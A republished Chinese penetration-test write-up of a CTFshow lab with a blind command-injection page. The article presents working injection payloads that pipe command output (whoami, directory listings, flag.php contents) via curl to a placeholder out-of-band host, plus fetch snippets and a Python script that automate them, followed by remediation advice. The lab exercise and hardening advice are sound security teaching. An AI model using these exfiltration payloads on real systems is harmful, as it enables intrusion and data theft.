BurpSuite+AI渗透测试(六):反弹shell构造

admin 2026-06-26 07:37:56 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文记录了在CTFshow靶场中利用ShellCodeExecutor页面的code参数进行命令注入测试的过程。通过BurpSuite和OOB带外通信技术,确认存在盲命令执行漏洞,成功外带系统信息并读取flag.php文件。报告详细展示了从基础验证到文件定位的完整渗透测试流程,提供了具体的curl命令示例和风险等级评估。 综合评分: 85 文章分类: 渗透测试,WEB安全,漏洞分析,实战经验,安全工具


cover_image

BurpSuite+AI渗透测试(六):反弹shell构造

原创

yushao yushao

Web安全工具库

2026年6月10日 09:27 河南

在小说阅读器读本章

去阅读

#

本报告基于授权 CTF 靶场测试记录整理,仅用于复盘、学习与安全加固参考。 报告中已对目标地址、带外平台域名、Flag、关键敏感字符串等进行脱敏处理。 下文中的测试代码均使用占位符,请勿用于未授权环境。


1. 报告基本信息

| 项目 | 内容 | | — | — | | 测试目标 | CTFshow Shell Code Executor | | 目标地址 | https://56660608-****-****-****-************.challenge.ctf.show/ | | 测试类型 | Web 安全测试 / CTF 靶场 | | 主要问题 | 后端存在系统命令执行能力,且无输出回显 | | 测试方式 | 页面交互、HTTP 请求复现、OOB 带外回连验证 | | 测试工具 | Chrome DevTools、Burp Suite、Burp Collaborator、curl | | 测试账号 | 无需登录 | | 发现账号权限 | ww****ta | | 最终结果 | 成功定位并读取靶场 Flag 文件 | | Flag 脱敏 | CTF{rev*****_**} |


2. 测试范围

2.1 测试目标

https://56660608-****-****-****-************.challenge.ctf.show/

2.2 目标页面信息

访问目标后,页面标题为:

Shell Code Executor

页面中存在一个多行文本框和一个执行按钮:

Enter Shell Code:
[textarea]

[Execute Code]

初步判断该页面允许用户提交命令或代码到后端执行。


3. 测试结论摘要

经测试,目标页面的 code 参数会被服务端直接执行。提交基础命令后,页面仅返回:

execute success!

但不返回命令执行结果,因此属于盲命令执行场景

随后通过 OOB 带外回连方式验证:

  1. 1. 服务端可以执行系统命令;
  2. 2. 服务端可访问外网;
  3. 3. 目标环境中存在 curl/7.52.1
  4. 4. 当前执行用户为 w***ta
  5. 5. 可通过 HTTP POST 方式将命令执行结果外带;
  6. 6. 最终定位到敏感文件:
/var/www/html/flag.php

并成功读取其中内容。


4. 风险等级

| 风险项 | 等级 | | — | — | | 系统命令执行 | 严重 | | 敏感文件读取 | 严重 | | 出站网络访问未限制 | 高 | | 权限隔离不足 | 中 | | 无执行结果回显但可 OOB 外带 | 高 |

综合风险等级:严重


5. 漏洞描述

目标页面通过 POST 请求提交参数:

POST / HTTP/1.1
Host: 56660608-****-****-****-************.challenge.ctf.show
Content-Type: application/x-www-form-urlencoded

code=id

服务端接收到 code 参数后,会执行其中的系统命令。

页面响应中不直接回显命令结果,仅显示:

execute success!

因此常规页面无法直接看到命令输出。

但通过构造带外 HTTP 请求,例如让服务端执行:

curl http://<OOB_DOMAIN>/test

可在带外平台收到来自目标服务器的 HTTP 请求,从而确认命令执行成功。


6. 测试过程详情


6.1 页面访问与功能识别

访问目标地址后,页面结构如下:

CTFshow Shell Code Executor

Enter Shell Code:
[textarea]

Execute Code

提交测试命令:

id

页面返回:

Execution Result:
execute success!

说明后端执行了命令,但命令输出未展示在页面上。


6.2 抓包分析

通过 Burp Suite 抓包,发现请求格式如下:

POST&nbsp;/&nbsp;HTTP/1.1
Host:&nbsp;56660608-****-****-****-************.challenge.ctf.show
Content-Type:&nbsp;application/x-www-form-urlencoded

code=id

响应状态码为:

200 OK

响应中包含:

<div&nbsp;class="result">execute success!</div>

说明 code 参数是核心测试入口。


6.3 基础命令执行验证

测试请求

POST&nbsp;/&nbsp;HTTP/1.1
Host:&nbsp;56660608-****-****-****-************.challenge.ctf.show
Content-Type:&nbsp;application/x-www-form-urlencoded

code=id

返回结果

execute success!

虽然没有看到 id 的输出,但结合页面逻辑和后续带外回连结果,确认该参数存在命令执行行为。


6.4 OOB 带外连通性验证

由于命令结果不回显,需要使用带外平台验证命令执行结果。

生成一个 OOB 域名,报告中脱敏为:

<OOB_DOMAIN>

实际测试命令:

curl http://<OOB_DOMAIN>/test1

HTTP 请求复现

POST&nbsp;/&nbsp;HTTP/1.1
Host:&nbsp;56660608-****-****-****-************.challenge.ctf.show
Content-Type:&nbsp;application/x-www-form-urlencoded

code=curl http://<OOB_DOMAIN>/test1

OOB 平台收到请求

GET&nbsp;/test1&nbsp;HTTP/1.1
Host:&nbsp;<OOB_DOMAIN>
User-Agent:&nbsp;curl/7.52.1
Accept:&nbsp;/

结论

目标服务器具备:

1. curl 工具可用
2. 出站 HTTP 访问能力
3. code 参数确实可触发系统命令执行

6.5 当前执行用户确认

由于页面不回显命令结果,因此使用路径方式外带 whoami 输出。

测试命令

curl http://<OOB_DOMAIN>/$(whoami)

HTTP 请求

POST&nbsp;/&nbsp;HTTP/1.1
Host:&nbsp;56660608-****-****-****-************.challenge.ctf.show
Content-Type:&nbsp;application/x-www-form-urlencoded

code=curl http://<OOB_DOMAIN>/$(whoami)

OOB 平台收到结果

GET&nbsp;/w**a&nbsp;HTTP/1.1
Host:&nbsp;<OOB_DOMAIN>
User-Agent:&nbsp;curl/7.52.1
Accept:&nbsp;/

结论

当前服务端命令执行用户为:

w*****a

6.6 目录枚举

最初尝试通过 URL 路径方式传输命令输出:

curl http://<OOB_DOMAIN>/$(ls&nbsp;/)

由于命令输出中存在换行、空格等字符,直接放入 URL 路径可能导致请求构造失败或被截断。

因此改用 HTTP POST 外带方式。


推荐外带方式一:管道传输

ls&nbsp;/ | curl -X POST --data-binary @- http://<OOB_DOMAIN>/

HTTP 请求示例

POST&nbsp;/&nbsp;HTTP/1.1
Host:&nbsp;56660608-****-****-****-************.challenge.ctf.show
Content-Type:&nbsp;application/x-www-form-urlencoded

code=ls&nbsp;/ | curl -X POST&nbsp;--data-binary&nbsp;@- http://<OOB_DOMAIN>/

OOB 平台收到内容

bin
boot
dev
etc
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var

6.7 查找 Flag 文件

在 CTF 环境中,常见敏感目标文件包含 flag 关键词,因此使用 find 进行全目录搜索。

测试命令

find / -name&nbsp;'*flag*'&nbsp;2>/dev/null | curl -X POST --data-binary @- http://<OOB_DOMAIN>/

HTTP 请求示例

POST&nbsp;/&nbsp;HTTP/1.1
Host:&nbsp;56660608-****-****-****-************.challenge.ctf.show
Content-Type:&nbsp;application/x-www-form-urlencoded

code=find&nbsp;/ -name&nbsp;'*flag*'&nbsp;2>/dev/null&nbsp;| curl -X POST --data-binary @- http://<OOB_DOMAIN>/

OOB 平台返回结果节选

/usr/lib/x86_64-linux-gnu/perl/5.24.1/bits/waitflags.ph
/usr/local/lib/php/build/ax_check_compile_flag.m4
/usr/bin/dpkg-buildflags
/usr/include/x86_64-linux-gnu/bits/waitflags.h
/usr/include/linux/kernel-page-flags.h
...
/var/www/html/flag.php
...

关键发现

/var/www/html/flag.php

6.8 读取目标文件

确认 Flag 文件路径后,使用 cat 读取文件,并通过 POST 方式外带。

测试命令

cat&nbsp;/var/www/html/flag.php | curl -X POST --data-binary @- http://<OOB_DOMAIN>/

HTTP 请求示例

POST&nbsp;/&nbsp;HTTP/1.1
Host:&nbsp;56660608-****-****-****-************.challenge.ctf.show
Content-Type:&nbsp;application/x-www-form-urlencoded

code=cat&nbsp;/var/www/html/flag.php | curl -X&nbsp;POST&nbsp;--data-binary @- http://<OOB_DOMAIN>/

OOB 平台收到内容

<?php

$flag&nbsp;=&nbsp;"CTF{reverse_****_use_**}";

7.1 页面表单提交格式

POST&nbsp;/&nbsp;HTTP/1.1
Host:&nbsp;<TARGET_HOST>
Content-Type:&nbsp;application/x-www-form-urlencoded

code=<COMMAND>

7.2 使用 curl 复现基础命令执行

curl -k -X POST&nbsp;"https://<TARGET_HOST>/"&nbsp;\
&nbsp; -H&nbsp;"Content-Type: application/x-www-form-urlencoded"&nbsp;\
&nbsp; --data-urlencode&nbsp;"code=id"

7.3 OOB 连通性验证

curl -k -X POST&nbsp;"https://<TARGET_HOST>/"&nbsp;\
&nbsp; -H&nbsp;"Content-Type: application/x-www-form-urlencoded"&nbsp;\
&nbsp; --data-urlencode&nbsp;"code=curl http://<OOB_DOMAIN>/test1"

7.4 外带当前用户

curl -k -X POST&nbsp;"https://<TARGET_HOST>/"&nbsp;\
&nbsp; -H&nbsp;"Content-Type: application/x-www-form-urlencoded"&nbsp;\
&nbsp; --data-urlencode&nbsp;"code=curl http://<OOB_DOMAIN>/\$(whoami)"

OOB 预期请求:

GET&nbsp;/www-data&nbsp;HTTP/1.1
Host:&nbsp;<OOB_DOMAIN>

7.5 通过 POST 外带目录列表

curl -k -X POST&nbsp;"https://<TARGET_HOST>/"&nbsp;\
&nbsp; -H&nbsp;"Content-Type: application/x-www-form-urlencoded"&nbsp;\
&nbsp; --data-urlencode&nbsp;"code=ls / | curl -X POST --data-binary @- http://<OOB_DOMAIN>/"

7.6 查找 Flag 文件

curl -k -X POST&nbsp;"https://<TARGET_HOST>/"&nbsp;\
&nbsp; -H&nbsp;"Content-Type: application/x-www-form-urlencoded"&nbsp;\
&nbsp; --data-urlencode&nbsp;"code=find / -name '*flag*' 2>/dev/null | curl -X POST --data-binary @- http://<OOB_DOMAIN>/"

7.7 读取 Flag 文件

curl -k -X POST&nbsp;"https://<TARGET_HOST>/"&nbsp;\
&nbsp; -H&nbsp;"Content-Type: application/x-www-form-urlencoded"&nbsp;\
&nbsp; --data-urlencode&nbsp;"code=cat /var/www/html/flag.php | curl -X POST --data-binary @- http://<OOB_DOMAIN>/"

7.8 使用 JavaScript Fetch 提交测试命令

在浏览器 DevTools Console 中可使用以下方式提交:

fetch("/", {
method:&nbsp;"POST",
headers: {
&nbsp; &nbsp;&nbsp;"Content-Type":&nbsp;"application/x-www-form-urlencoded"
&nbsp; },
body:&nbsp;newURLSearchParams({
&nbsp; &nbsp;&nbsp;code:&nbsp;"curl http://<OOB_DOMAIN>/test1"
&nbsp; })
}).then(async&nbsp;r => {
return&nbsp;{
&nbsp; &nbsp;&nbsp;status: r.status,
&nbsp; &nbsp;&nbsp;text:&nbsp;await&nbsp;r.text()
&nbsp; };
}).then(console.log);

7.9 使用 JavaScript Fetch 进行 OOB 外带

fetch("/", {
&nbsp;&nbsp;method:&nbsp;"POST",
&nbsp;&nbsp;headers: {
&nbsp; &nbsp;&nbsp;"Content-Type":&nbsp;"application/x-www-form-urlencoded"
&nbsp; },
&nbsp;&nbsp;body:&nbsp;new&nbsp;URLSearchParams({
&nbsp; &nbsp;&nbsp;code:&nbsp;"whoami | curl -X POST --data-binary @- http://<OOB_DOMAIN>/"
&nbsp; })
}).then(async&nbsp;r => {
&nbsp;&nbsp;console.log("status:", r.status);
});

7.10 Python 自动化测试脚本

仅适用于授权靶场。 其中 <TARGET_URL> 和 <OOB_DOMAIN> 需要替换为实际授权测试环境。

import&nbsp;requests
from&nbsp;urllib.parse&nbsp;import&nbsp;urljoin

TARGET_URL =&nbsp;"https://<TARGET_HOST>/"
OOB_DOMAIN =&nbsp;"<OOB_DOMAIN>"

session = requests.Session()
session.verify =&nbsp;False

defrun_command(command:&nbsp;str):
&nbsp; &nbsp;&nbsp;"""
&nbsp; &nbsp; 向目标 code 参数提交命令。
&nbsp; &nbsp; 注意:目标页面不回显命令输出,需结合 OOB 平台查看结果。
&nbsp; &nbsp; """
&nbsp; &nbsp; data = {
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"code": command
&nbsp; &nbsp; }

&nbsp; &nbsp; resp = session.post(
&nbsp; &nbsp; &nbsp; &nbsp; TARGET_URL,
&nbsp; &nbsp; &nbsp; &nbsp; data=data,
&nbsp; &nbsp; &nbsp; &nbsp; headers={
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"Content-Type":&nbsp;"application/x-www-form-urlencoded"
&nbsp; &nbsp; &nbsp; &nbsp; },
&nbsp; &nbsp; &nbsp; &nbsp; timeout=10
&nbsp; &nbsp; )

&nbsp; &nbsp;&nbsp;print("[+] Status:", resp.status_code)

&nbsp; &nbsp;&nbsp;if"execute success"in&nbsp;resp.text:
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print("[+] Page returned execute success")
&nbsp; &nbsp;&nbsp;else:
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print("[!] No success marker found")

&nbsp; &nbsp;&nbsp;return&nbsp;resp.text

if&nbsp;__name__ ==&nbsp;"__main__":
&nbsp; &nbsp; tests = [
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;f"curl http://{OOB_DOMAIN}/ping",
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;f"curl http://{OOB_DOMAIN}/$(whoami)",
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;f"ls / | curl -X POST --data-binary @- http://{OOB_DOMAIN}/",
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;f"find / -name '*flag*' 2>/dev/null | curl -X POST --data-binary @- http://{OOB_DOMAIN}/",
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;f"cat /var/www/html/flag.php | curl -X POST --data-binary @- http://{OOB_DOMAIN}/",
&nbsp; &nbsp; ]

&nbsp; &nbsp;&nbsp;for&nbsp;cmd&nbsp;in&nbsp;tests:
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print("[*] Sending command:", cmd)
&nbsp; &nbsp; &nbsp; &nbsp; run_command(cmd)

8. 测试证据整理

8.1 首页页面

Title: Shell Code Executor
Form field: code
Button: Execute Code

8.2 基础命令返回

提交:

id

页面返回:

execute success!

8.3 OOB 回连证据

提交:

curl http://<OOB_DOMAIN>/test1

OOB 收到:

GET&nbsp;/test1&nbsp;HTTP/1.1
Host:&nbsp;<OOB_DOMAIN>
User-Agent:&nbsp;curl/7.52.1

8.4 用户确认

提交:

curl http://<OOB_DOMAIN>/$(whoami)

OOB 收到:

GET&nbsp;/www-data&nbsp;HTTP/1.1
Host:&nbsp;<OOB_DOMAIN>

8.5 文件定位

提交:

find / -name&nbsp;'*flag*'&nbsp;2>/dev/null

发现:

/var/www/html/flag.php

8.6 文件读取

提交:

cat&nbsp;/var/www/html/flag.php

OOB 收到:

<?php

$flag&nbsp;=&nbsp;"CTF{r*******}";

9. 漏洞成因分析

根据测试结果判断,目标服务端可能存在如下实现逻辑:

<?php
if&nbsp;($_SERVER['REQUEST_METHOD'] ===&nbsp;'POST') {
&nbsp; &nbsp;&nbsp;$code&nbsp;=&nbsp;$_POST['code'];
&nbsp; &nbsp;&nbsp;system($code);
&nbsp; &nbsp;&nbsp;echo&nbsp;"execute success!";
}

或类似的危险调用方式:

exec($_POST['code']);
shell_exec($_POST['code']);
passthru($_POST['code']);
popen($_POST['code'],&nbsp;"r");
proc_open($_POST['code'], ...);

该类代码直接将用户输入传入系统命令执行函数,未进行白名单限制、参数校验、沙箱隔离或权限控制,因此导致任意命令执行风险。


10. 影响分析

该漏洞可能导致:

  1. 1. 执行任意系统命令;
  2. 2. 读取 Web 目录下敏感文件;
  3. 3. 枚举系统目录结构;
  4. 4. 获取运行用户权限;
  5. 5. 通过 HTTP、DNS 等方式外带数据;
  6. 6. 在未限制出站网络的情况下,进一步建立交互式远程控制通道;
  7. 7. 造成服务器失陷、数据泄露或业务中断。

在本次靶场测试中,已验证可读取:

/var/www/html/flag.php

说明风险已达到敏感文件读取级别。


11. 修复建议

11.1 禁止直接执行用户输入

严禁将用户可控参数直接传入以下函数:

system()
exec()
shell_exec()
passthru()
popen()
proc_open()

如果业务确实需要执行命令,应使用严格白名单。


11.2 使用白名单机制

错误示例:

$cmd&nbsp;=&nbsp;$_POST['code'];
system($cmd);

安全示例:

$allowed&nbsp;= [
&nbsp; &nbsp;&nbsp;"date"&nbsp;=>&nbsp;"/bin/date",
&nbsp; &nbsp;&nbsp;"uptime"&nbsp;=>&nbsp;"/usr/bin/uptime"
];

$action&nbsp;=&nbsp;$_POST["action"] ??&nbsp;"";

if&nbsp;(!isset($allowed[$action])) {
&nbsp; &nbsp;&nbsp;http_response_code(400);
&nbsp; &nbsp;&nbsp;exit("Invalid action");
}

$output&nbsp;= [];
$returnCode&nbsp;=&nbsp;0;

exec($allowed[$action],&nbsp;$output,&nbsp;$returnCode);

echohtmlspecialchars(implode("\n",&nbsp;$output), ENT_QUOTES,&nbsp;"UTF-8");

11.3 参数化处理

如果必须传参,应避免拼接命令。

例如:

$filename&nbsp;=&nbsp;$_POST["filename"] ??&nbsp;"";

if&nbsp;(!preg_match('/^[a-zA-Z0-9._-]+$/',&nbsp;$filename)) {
&nbsp; &nbsp;&nbsp;http_response_code(400);
&nbsp; &nbsp;&nbsp;exit("Invalid filename");
}

$safeFile&nbsp;=&nbsp;escapeshellarg($filename);
$cmd&nbsp;=&nbsp;"/usr/bin/file "&nbsp;.&nbsp;$safeFile;

exec($cmd,&nbsp;$output);

注意:escapeshellarg() 只能降低风险,不能替代白名单和权限隔离。


11.4 限制 Web 服务权限

当前命令执行用户为:

w****a

建议:

  1. 1. Web 服务使用低权限账号运行;
  2. 2. 禁止 Web 用户读取敏感文件;
  3. 3. 敏感配置文件不应放在 Web 根目录;
  4. 4. Flag、密钥、数据库密码等不应存放在可被 Web 服务读取的位置。

11.5 限制出站网络

本次测试中,目标服务器可访问外部 OOB 域名,说明出站流量限制不足。

建议:

  1. 1. 默认禁止服务器主动访问外网;
  2. 2. 仅允许访问必要的业务目标;
  3. 3. 对 DNS、HTTP、HTTPS 出站请求进行审计;
  4. 4. 对异常 User-Agent,例如 curlwget,进行告警;
  5. 5. 对外连行为建立日志记录与安全监控。

11.6 容器与沙箱隔离

如果该功能是靶场或在线代码执行器,应进行强隔离:

  1. 1. 使用独立容器运行;
  2. 2. 禁止访问宿主机敏感路径;
  3. 3. 挂载只读文件系统;
  4. 4. 禁止访问 /proc/sys 等敏感目录;
  5. 5. 限制 CPU、内存、进程数;
  6. 6. 禁止出站网络或仅开放必要流量;
  7. 7. 使用 seccomp、AppArmor、SELinux 等安全机制。

12. 安全加固示例

12.1 Docker 隔离示例

version:&nbsp;"3.8"

services:
code-runner:
&nbsp; &nbsp;&nbsp;image:php:8.2-apache
&nbsp; &nbsp;&nbsp;read_only:true
&nbsp; &nbsp;&nbsp;cap_drop:
&nbsp; &nbsp; &nbsp;&nbsp;-ALL
&nbsp; &nbsp;&nbsp;security_opt:
&nbsp; &nbsp; &nbsp;&nbsp;-no-new-privileges:true
&nbsp; &nbsp;&nbsp;pids_limit:64
&nbsp; &nbsp;&nbsp;mem_limit:256m
&nbsp; &nbsp;&nbsp;cpus:0.5
&nbsp; &nbsp;&nbsp;network_mode:none
&nbsp; &nbsp;&nbsp;volumes:
&nbsp; &nbsp; &nbsp;&nbsp;-&nbsp;./html:/var/www/html:ro

12.2 Nginx 限制敏感文件访问

location&nbsp;~* /(flag|secret|config|env)&nbsp;{
&nbsp; &nbsp;&nbsp;deny&nbsp;all;
&nbsp; &nbsp;&nbsp;return&nbsp;403;
}

location&nbsp;~ /\.&nbsp;{
&nbsp; &nbsp;&nbsp;deny&nbsp;all;
&nbsp; &nbsp;&nbsp;return&nbsp;403;
}

12.3 PHP 禁用危险函数

在 php.ini 中配置:

disable_functions&nbsp;= system,exec,shell_exec,passthru,popen,proc_open,pcntl_exec

注意:这不是唯一防护措施,应结合权限控制、沙箱和业务白名单共同使用。

该结果表明,服务端将用户输入直接作为系统命令执行,且未进行有效隔离和出站限制,风险等级为严重。建议立即移除危险命令执行逻辑,使用白名单机制替代,并加强权限隔离、网络出口控制和敏感文件保护。


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:Web安全工具库 yushao yushao《BurpSuite+AI渗透测试(六):反弹shell构造》

评论:0   参与:  0